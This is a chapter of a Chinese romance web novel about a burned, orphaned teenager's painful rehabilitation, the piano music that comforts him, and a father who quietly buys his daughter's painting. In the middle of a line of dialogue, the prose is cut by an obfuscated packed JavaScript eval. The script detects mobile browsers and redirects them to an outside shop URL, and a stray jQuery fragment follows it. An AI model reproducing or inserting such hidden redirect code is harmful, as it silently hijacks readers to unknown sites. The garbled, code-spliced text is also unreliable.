姜许灵没上去。
等赵姨做好晚饭，她把信封放在托盘边上，叮嘱：“您跟他说，今天有个叫乔云舟的过来找他，问他想不想见？”
赵婷兰点头，端着托盘上去，没五分钟又下来：“他说不见。”
“哦。”
姜许灵猜到了，又问：“那信呢？”
赵婷兰：“没动。不知道我走了他会不会看。”
姜许灵点头：“随他吧。”
六点钟，康复师准时登门。
楼上又传来凄厉的惨叫。
...
陆修允双目血红，薄唇哆嗦，额上的汗大颗大颗往下滚，左臂的皮肤像一张被抻到极限的白纸。
白纸下不断地传来撕裂感。
“...六五四三二一。”
话音刚落，人就摔在垫子上。
“很好，”康复师拉直他的胳膊，“我们休息十秒再来一次。”
垫子上的人一动不动，疼得连喊叫的力气都没了，从胸腔深处挤出一连串闷哑的嗯——
十秒后，康复师掰着他的手肘，又开始用力。
少年的脸憋成青紫色，血管像蛛网一样蔓延，牙齿咯咯地响。
康复师也满头大汗，紧咬着牙：“坚持，坚持...”
不知过了多久，终于开始倒数：“...五四三二一，好。”
“你可以的，修允，我们再休息十秒。”
就在康复师第三次按压他的手肘时。
少年发出一声尖锐的爆鸣：“你杀了我。你杀了我。”
像气球被吹到最大、最薄、几乎透明的瞬间，砰得爆了。
康复师的眼泪往下掉，却不敢停。
左臂手肘和腋下的皮肤正在挛缩，如果不撑开，他再也没办法正常地使用这条胳膊。
“别放弃，再坚持一下。”康复师试图唤醒他求生的意志。
可陆修允的眼睛里布满血丝。
他疼得分不清自己是死了还是活着。
或者，对于现在的他而言，两者也没有什么分别。
等拉伸结束，是无休无止的痒，从每一根骨头的缝里，每一根神经末梢里。
等痒缓解，又是车祸重演，看着父母在他面前，一遍又一遍地死掉。
摧心折骨。
...
他才十六岁...
康复师只能不停地安慰：“都会过去的。”
声音发颤：“把这些挨过去，植皮区会变软，疤痕会稳定，你可以恢复正常的生活...”
声音越来越小。
一个十六岁的少年经历车祸，烧伤，父母双亡，他的生活真的还能恢复如常吗？
康复师连自己都说服不了。
内心虚怯。
直到隔壁传来舒缓的钢琴曲。
那琴音像涟漪一样扩散，单纯，温暖，重复重复，缓慢上升。
它容易勾起人的思念，却不会让人崩溃。
规律的节奏，让人安宁、安宁。
让康复师的声音变得坚定：“...会好的。不要放弃，也不能放弃。我们都会陪着你。”
陆修允的头磕在垫子上，细长的脖子绷起青筋，借力撑住自己，做完了整个治疗。
康复师擦干汗，力竭般轻叹一声。帮他穿好弹力带，扶他回床上平躺。
他额头上的汗都凉了。
眼睛像两个被掏空的洞，没有焦点也没有光。
在回旋的琴音中，缓慢闭上。
一丝力气都不剩。
可很快，刺骨的痒感又将他唤醒。康复师已经离开，钢琴声却还在。
规律和谐的震动，让他高度紧张的神经，得到一丝喘息。
他蜷缩成团，闭上眼睛，祈祷还有下一首、下一首。
...
姜许灵不间断地弹了四个小时。
腰背僵直如板，手指机械惯性地落下，直到再也抬不起来。
——命运像一只巨型的手，从人群头顶划过。
它选中陆家，选中陆修允，无情地碾下去。
命运从来不会回答“为什么是你”。
人，脆弱的像蝼蚁——
姜许灵对车祸、对烧伤、对陆修允的恐惧，在那一刻变成了一种物伤其类的悲悯。
...
那个暑假，姜公馆里时常传出钢琴的声音。
...
姜甫山处理好姜臣姜珠兄妹的留学事宜，暑假尾声，才从美国赶回来，陪陆修允回诊。
走进园林时，还驻足听了半晌。
他惊讶于琴声的变化，从弹得对，弹得准，变成弹得饱满，弹得富有层次。
那琴声好像一夜之间长大了。
姜甫山摇头轻叹。
也不知道她这一身的艺术细胞是遗传了谁？
走进【漉香楼】，姜甫山一边换鞋一边朝厨房的方向喊：“赵姨，你们吃早饭了吗？”
“吃了，”赵婷兰立刻放下手里的工作，“姜先生，您怎么回来了？”
“今天回诊。”
“哎呦。我都忘了，需要我准备什么吗？”
姜甫山摇头：“不用。”
人已经走上楼梯，思忖片刻，又扭头回来：“阿灵她...又开始弹琴了？”
“是啊，”赵婷兰笑道，“一天弹四五个小时，比考级那会练得还勤快。”
“不画画了？”
“画啊，不是弹琴就是画画，一天到晚，连门都不出。”
姜甫山失笑：“她妈妈把她的零花钱扣掉了。”
“难怪。”赵婷兰恍然大悟，“我还奇怪呢。以前三天两头就要出门，找这个找那个，天不黑都不回来。可这个月统共就出去了一次，还是去画廊送画。”
姜甫山都准备上楼了，闻言又停住：“画廊？”
“对啊，她把画送去画廊拍卖。”
姜甫山：“倒是有头脑。”
赵婷兰有些骄傲：“阿灵很聪明的，连秦医生都夸她，说她是天才。”
姜甫山不敢苟同，摇摇头问：“画廊叫什么名字？”
“我看看。”赵婷兰有个备忘录，里面记满了关于姜许灵的事情。
就是为了应付这种盘问。
“R,O,L,A.”
“好，我清楚了，您忙吧。”姜甫山转身上三楼，敲开陆修允的房门。
少年已经穿戴整齐，坐在床边等他。
两人一前一后下楼，并肩走过曲折的青石板路。
从姜公馆开到医院，要四十多分钟。
上了车，姜甫山便开始找话题跟他聊：“你的康复训练很顺利，今天回诊只是例行检查，别紧张。”
“嗯。”
“在姜公馆住得习惯吗？”
“嗯。”
“阿灵有没有烦你？”
“嗯...”
少年迟疑了片刻，直到脑子里的琴声和“阿灵”这个名字对上。
低垂的眼睑微微抬起。
姜甫山叹气：“她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512165|203049||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是我的小女儿，脾气有点古怪，你……”
“她没有。”
姜甫山一愣：“嗯？”
少年又不说话。
姜甫山以为自己听错了：“…你爷爷奶奶都很好。等手术结束，他们就来看你。”
秦劭安跟他通过气。
从心理治疗的结果来看，多提身边的亲人，对提高这孩子求生的意志有好处。
果然，陆修允有了大的肢体反应，侧头望过来：“手术时间定了吗？”
“还没。”
陆修允很敏锐：“出什么事了？”
陆老爷子的肿瘤与腹主动脉粘连，没了清晰的边界，手术剥离风险变高，可能根治，也可能致命。
专家会诊还在商量对策。
老人家的意思是，先瞒着陆修允。
姜甫山面不改色：“没事，爷爷年纪大了，医院在商量更符合他的治疗方式。”
陆修允漆黑的瞳仁长久地看向他。
带着一种让人后脊发凉的耐力，眨都不眨。
看得姜甫山呼吸都乱了，淡笑着说：“别担心，爷爷他......”
“是怕我承受不住吗。”声音低沉，语速慢得近乎刻意。
姜甫山：“......”
停顿了三秒：“我...”
“您是对的，”陆修允再次截断他的话，“就算知道爷爷的情况，我也帮不上什么忙。”
说完，他低下头。
像一株被风雨打折了，又勉强绑在竿上的藤竹。
光是想办法熬过今晚，就用尽了他全部的力气。
接下来的三十分钟，谁都没有说话。
陆老爷子是胰腺癌，又刚刚经历白发人送黑发人。
以他现在的身体情况，做手术成功的概率非常低。
陆家接二连三的变故，万一陆老爷子再有个什么好歹...
姜甫山扭头看向窗外，心里堵得慌，几度把手伸进口袋，摸烟又忍住。
...
好在这次回诊很顺利。
已经五个月了，并发症的高风险期已经过去。
植皮区表面平整，功能良好，粗大的触觉已经开始恢复。
“…就是关节还有点硬，力量训练可以适当加强。弹力带还是要继续佩戴。”医生笑着对陆修允说，“你很厉害，会慢慢好起来的。”
少年只是“嗯”。
等所有检查的项目做完，定好了下次回诊的时间，才十一点。
姜甫山忽然想起一事，对司机说：“老郑，你看看ROLA画廊在哪？”
司机重新设置导航：“苏城就一家，离这十五公里。”
不算远。
姜甫山略一思忖：“先去画廊看看。”
“好咧。”
等地方到了，他问陆修允要不要一起？
因他不能晒太阳，天天闷在家里，原想着顺便带他散散心。
可他摇头，看起来兴致不高。
姜甫山也不强求，自己进了画廊。
地方不大，却蛮有格调。空气里有很淡的雪松味，在炎热夏天显得尤为难得。
天花板上的轨道灯一字排开，每一盏都打在画上。
很快，姜甫山在角落发现了那幅半晴半雨的天空。
落款是个“灵”字。
男人贴红，付款。
工作人员说一周后才能取画，他便留下电话号码。
没法明目张胆地给零花钱，就只能另辟蹊径了。